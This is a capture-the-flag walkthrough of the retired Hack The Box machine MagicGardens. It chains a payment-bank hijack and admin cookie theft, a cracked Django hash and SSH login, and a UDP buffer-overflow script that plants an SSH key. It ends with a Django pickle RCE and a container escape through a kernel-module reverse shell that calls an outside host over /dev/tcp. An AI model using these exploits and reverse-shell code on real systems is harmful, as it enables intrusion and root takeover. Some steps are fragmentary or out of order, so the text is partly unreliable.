MagicGardens is a insane linux machine created by . The domain magicgardens.htb contains the django admin. The XSS exploit is used to steal the admin cookie. The django admin panel contains the morty's hash which can be cracked and can ssh into the system as morty. The pillaging reveals that the alex is running the custom binary harvest and morty also has access to it. Reversing the binary and found that it is vulnerable to bufferoverflow, which can be used to gain the shell as alex. The user alex has got a mail which contains the auth.zip file which contains the username and hash to access the docker registry. Cracking the hash and dumping the contain of docker registry, the django PickleSerializer is used in the app. It is vulnerable to RCE which will give us the shell as root in docker container. The root in docker container has the capability of cap_sys_module which can be abused to load the kernel model and privilege escalate into systems root.
OS
Difficulty
Points
Release Date
Retired Date
Linux
Insane
50
18-05-2024
08-02-2025
Enumeration
Nmap
Starting the nmap scan reveals that ssh, http, docker registry and other services are running.
nmap -p- -Pn -sC -sV --min-rate=1000 10.10.11.9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-05 21:52 EST
Warning: 10.10.11.9 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.9
Host is up (0.55s latency).
Not shown: 64603 closed tcp ports (conn-refused), 928 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
|_ 256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://magicgardens.htb/
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, TerminalServer, TerminalServerCookie, X11Probe, afp, giop, ms-sql-s:
|_ [x] Handshake error
5000/tcp open ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-05-23T11:57:43
|_Not valid after: 2024-05-22T11:57:43
|_http-title: Site doesn't have a title.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.94SVN%I=7%D=2/5%Time=67A4248D%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,15,"\[x\]\x20Handshake\x20error\n\0")%r(GetRequest,15,"\[x
SF:\]\x20Handshake\x20error\n\0")%r(HTTPOptions,15,"\[x\]\x20Handshake\x20
SF:error\n\0")%r(RTSPRequest,15,"\[x\]\x20Handshake\x20error\n\0")%r(RPCCh
SF:eck,15,"\[x\]\x20Handshake\x20error\n\0")%r(DNSVersionBindReqTCP,15,"\[
SF:x\]\x20Handshake\x20error\n\0")%r(DNSStatusRequestTCP,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(Help,15,"\[x\]\x20Handshake\x20error\n\0")%r(Ter
SF:minalServerCookie,15,"\[x\]\x20Handshake\x20error\n\0")%r(X11Probe,15,"
SF:\[x\]\x20Handshake\x20error\n\0")%r(FourOhFourRequest,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(LPDString,15,"\[x\]\x20Handshake\x20error\n\0")%
SF:r(LDAPSearchReq,15,"\[x\]\x20Handshake\x20error\n\0")%r(LDAPBindReq,15,
SF:"\[x\]\x20Handshake\x20error\n\0")%r(LANDesk-RC,15,"\[x\]\x20Handshake\
SF:x20error\n\0")%r(TerminalServer,15,"\[x\]\x20Handshake\x20error\n\0")%r
SF:(NCP,15,"\[x\]\x20Handshake\x20error\n\0")%r(NotesRPC,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(JavaRMI,15,"\[x\]\x20Handshake\x20error\n\0")%r(
SF:ms-sql-s,15,"\[x\]\x20Handshake\x20error\n\0")%r(afp,15,"\[x\]\x20Hands
SF:hake\x20error\n\0")%r(giop,15,"\[x\]\x20Handshake\x20error\n\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 330.42 seconds
Add the magicgardens.htb in /etc/hosts file.
Docker Registry - Port 5000
The docker registry needs the credentials to be accessed and we are unauthorized.
The magicgarden is a e-commerce site where we can order flowers online.
The website has product catalog, sign-in features and allows us to search, buy, watchlist and add to cart the products. Purchasing the product gives us the success alert with the below message.
Creating the account and login into the account gives us the option to upgrade our subscription and getting a QR code for 25% discounts on all products.
Clicking the Upgrade button we are presented with payment form where we have to input our credit card details and choose the banks. The banks listed are honestbank.htb, magicbank.htb and plunders.htb.
Submitting the filled form gives up error message.
Foothold
Getting Subscriptions - magicgardens [ Creating Fake Bank ]
1
Changing bank parameter value
Intercepting the subscribe request with burpsuite reveals the bank parameter which I will be going to change it with the nc listener ip and port.
python3 update_status.py
* Serving Flask app 'update_status'
* Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:5000
* Running on http://10.2.0.2:5000
Press CTRL+C to quit
* Restarting with watchdog (inotify)
* Debugger is active!
* Debugger PIN: 145-166-082
127.0.0.1 - - [09/Feb/2025 04:48:57] "POST /api/payments/ HTTP/1.1" 200 -
We got the status code 200.
5
Initating payment.
Repeat the subscription process while your python script running and change that bank parameter value to your vpn ip address and port to 5000.
The payment for subscription is completed and we got the QR code.
Changing the cookie and getting Django admin access.
Head-over to the Django admin panel and save the cookies using dev tools.
Refresh the page and you will get the access.
Shell - morty
Enumerating the admin panel found the morty's hash in Store users section.
Copying the hash in file and using hashcat to crack it.
hashcat -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 3 7320U with Radeon Graphics, 2553/5170 MB (1024 MB allocatable), 8MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10000 | Django (PBKDF2-SHA256) | Framework
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 2 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=:jonasbrothers
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10000 (Django (PBKDF2-SHA256))
Hash.Target......: pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE...+Nl7I=
Time.Started.....: Sun Feb 9 10:28:34 2025 (47 secs)
Time.Estimated...: Sun Feb 9 10:29:21 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 54 H/s (7.73ms) @ Accel:64 Loops:512 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2560/14344385 (0.02%)
Rejected.........: 0/2560 (0.00%)
Restore.Point....: 2048/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:599552-599999
Candidate.Engine.: Device Generator
Candidates.#1....: slimshady -> hassan
Hardware.Mon.#1..: Temp: 93c Util: 93%
Started: Sun Feb 9 10:28:11 2025
Using the password for ssh as user morty gives us access to system via ssh.
ssh morty@10.10.11.9
morty@10.10.11.9's password:
Linux magicgardens 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 8 16:28:50 2025 from 10.10.14.64
morty@magicgardens:~$
Lateral Movement
Pillaging - morty [ user ]
The ps aux reveals that the user alex is running the harvest command.
Running in server mode requires sudoprivilege and it just starts listening to the interface.
sudo ./harvest server -i tun0
[*] Listening on interface tun0
Reversing the binary with ghidra. If the ghidra is showing the no filesystem provider found while importing the file. Archive the harvest using tar and import the file in ghidra.
The segmentation fault error is occurred and the empty file is created with 100 A's character file name.
Executing
I will be adding my ssh public key in alex authorized_keys file through buffer overflow.
1
Create the ssh key
ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/dexter/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/dexter/.ssh/id_rsa
Your public key has been saved in /home/dexter/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:k0nx2Gt/w1Kqd56iwFBIWZEByoP4xTkuKfB0nmFQIes dexter@parrot
The key's randomart image is:
+---[RSA 3072]----+
| o.o.o+=+ |
| . B +...= |
|o + % . + o |
|.= B = o o . |
|. E + . S o . |
| . . o o . + |
| o + + |
| . .oo.o |
| oo +o |
+----[SHA256]-----+
2
Create the python script in morty's shell to add public key in authorized_keys
import socket
dst = ("::1", 8443)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(dst)
file_name = b"/home/alex/.ssh/authorized_keys"
data = b"A" * 12
data += b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdx/HrxLsv70mErY5W+4Twq302Kuo1n1Q2Ot1Qi6j9w7AcsGq1EcEH+Nz7lnKomq2pQwiIqURiESHpKkirx4m2kWGw6RMORkxPUvfLOt1mhkoGB49AT90YYvfFexdcYB/iHQef0HN1GiFE5PKYUToSmSFBnimcBaNAZ6RioEj3JUZyqvQtTleWfKJdOYmNVf94B9TfB6IhkBaJ8cLcyz6cykBYuJGmTIFNr9oZXOtkFPyyg09oBm2widzUCywFvqQzJLNRzeW9jtIFJtHPatCUjcdLGAUhmacTSlVplTU8+C3AjAhEnGfbc0KPOWfBtDYX5oLJ/9CI5GQNS4P8TrdLOPo2BuUwr1kQIGuPyVUSe5iqPgs6+HyTwaVmlN77UoyyFoMtO4i5T8AnHGE9dOXORKuMyfkdEx4vPz6AafI0LYySEGjNQyRxF/VZMQZh/nJBcN2JVFXmGYA6ae7BPeJ2XRZXORTJs1vNIo26ZiefDXENM8UXj6wnuTcDSKRegVE= dexter@parrot"
data += b"\n" * (65360 + 12 - len(data))
data += file_name
s.sendto(data, dst)
3
Run the harvest client in your local machine and execute the pwn.py
The harvest client is closed by server when executed the pwn.py
----- SNIP -----
Source: [00:50:56:b9:69:45] [10.10.11.9]
Dest: [00:50:56:b9:24:7e] [10.10.16.7]
Time: [10:54:18] Length: [86]
[!] Connection closed by server
4
SSH into alex using the ssh private key.
ssh -i id_rsa alex@10.10.11.9
Linux magicgardens 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Sat Feb 8 18:29:47 2025 from 10.10.14.64
alex@magicgardens:~$
Pillaging - alex [ user ]
While logging in the message You have mail is given. Checking the mail gives us the auth.zip file which contains the registry configurations and passwords.
alex@magicgardens:~$ cd /var/spool/mail
alex@magicgardens:/var/spool/mail$ ls
alex root
alex@magicgardens:/var/spool/mail$ cat alex
From root@magicgardens.magicgardens.htb Fri Sep 29 09:31:49 2023
Return-Path: <root@magicgardens.magicgardens.htb>
X-Original-To: alex@magicgardens.magicgardens.htb
Delivered-To: alex@magicgardens.magicgardens.htb
Received: by magicgardens.magicgardens.htb (Postfix, from userid 0)
id 3CDA93FC96; Fri, 29 Sep 2023 09:31:49 -0400 (EDT)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="1804289383-1695994309=:37178"
Subject: Auth file for docker
To: <alex@magicgardens.magicgardens.htb>
User-Agent: mail (GNU Mailutils 3.15)
Date: Fri, 29 Sep 2023 09:31:49 -0400
Message-Id: <20230929133149.3CDA93FC96@magicgardens.magicgardens.htb>
From: root <root@magicgardens.magicgardens.htb>
--1804289383-1695994309=:37178
Content-Type: text/plain; charset=UTF-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Content-ID: <20230929093149.37178@magicgardens.magicgardens.htb>
Use this file for registry configuration. The password is on your desk
--1804289383-1695994309=:37178
Content-Type: application/octet-stream; name="auth.zip"
Content-Disposition: attachment; filename="auth.zip"
Content-Transfer-Encoding: base64
Content-ID: <20230929093149.37178.1@magicgardens.magicgardens.htb>
UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE
6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44S
q4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIe
AwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pG
ZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=
--1804289383-1695994309=:37178--
python3 django_serialization_rce.py
Traceback (most recent call last):
File "/home/dexter/HTB/Machines/MagicGardens/django_serialization_rce.py", line 6, in <module>
from django.contrib.sessions.serializers import PickleSerializer
ImportError: cannot import name 'PickleSerializer' from 'django.contrib.sessions.serializers' (/home/dexter/HTB/Machines/MagicGardens/.venv/lib/python3.11/site-packages/django/contrib/sessions/serializers.py)
The current version of django doesn't support the PickleSerializer, so it is giving us error.
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.9 42570
bash: cannot set terminal process group (17): Inappropriate ioctl for device
bash: no job control in this shell
root@5e5026ac6a81:/usr/src/app#
We have to create the python virtual environment and activate it to execute above script if not done previously.
Privilege Escalation
Pillaging - Docker Container [ root ]
root@5e5026ac6a81:/usr/src/app# capsh --print
capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)
Listing the capabilities reveals the cap_sys_module, which allows the container to load and unload kernel modules.
Shell - root [ cap_sys_module exploit ]
1
Copying the reverse-shell.c and Makefile from the post and replacing the IP and Port.
reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.7/9443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Makefile
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules # The space has to be created using tab not the spacebar otherwise the missing seprator error will occur.
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean # The space has to be created using tab not the spacebar otherwise the missing seprator error will occur.
2
Sending the reverse-shell.c and Makefile into Docker Container.
root@5e5026ac6a81:/tmp# make
make
make -C /lib/modules/6.1.0-20-amd64/build M=/tmp modules
make[1]: Entering directory '/usr/src/linux-headers-6.1.0-20-amd64'
CC [M] /tmp/reverse-shell.o
MODPOST /tmp/Module.symvers
CC [M] /tmp/reverse-shell.mod.o
LD [M] /tmp/reverse-shell.ko
BTF [M] /tmp/reverse-shell.ko
Skipping BTF generation for /tmp/reverse-shell.ko due to unavailability of vmlinux
make[1]: Leaving directory '/usr/src/linux-headers-6.1.0-20-amd64'
root@5e5026ac6a81:/tmp#
nc -lvnp 9443
Listening on 0.0.0.0 9443
Connection received on 10.10.11.9 49744
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@magicgardens:/# whoami
whoami
root
root@magicgardens:/#
Proof of Concepts
The below video provides the PoC of MagicGardens machine.
The endpoint to generate QR code was /qr_code/images/serve-qr-code-image which path is used by and it is conformed by visiting the /admin, which presents us with django admin panel.
The user.txt is contains the user flag
The Docker registry can be dumped using this .
The secret key is revealed and we can forge the valid cookie that is deserialized in the application. The 0xdf has released the script of the exploit.
Hacktricks has created a post for abusing this exploit in this.
The root.txt file in /root directory contains the root flag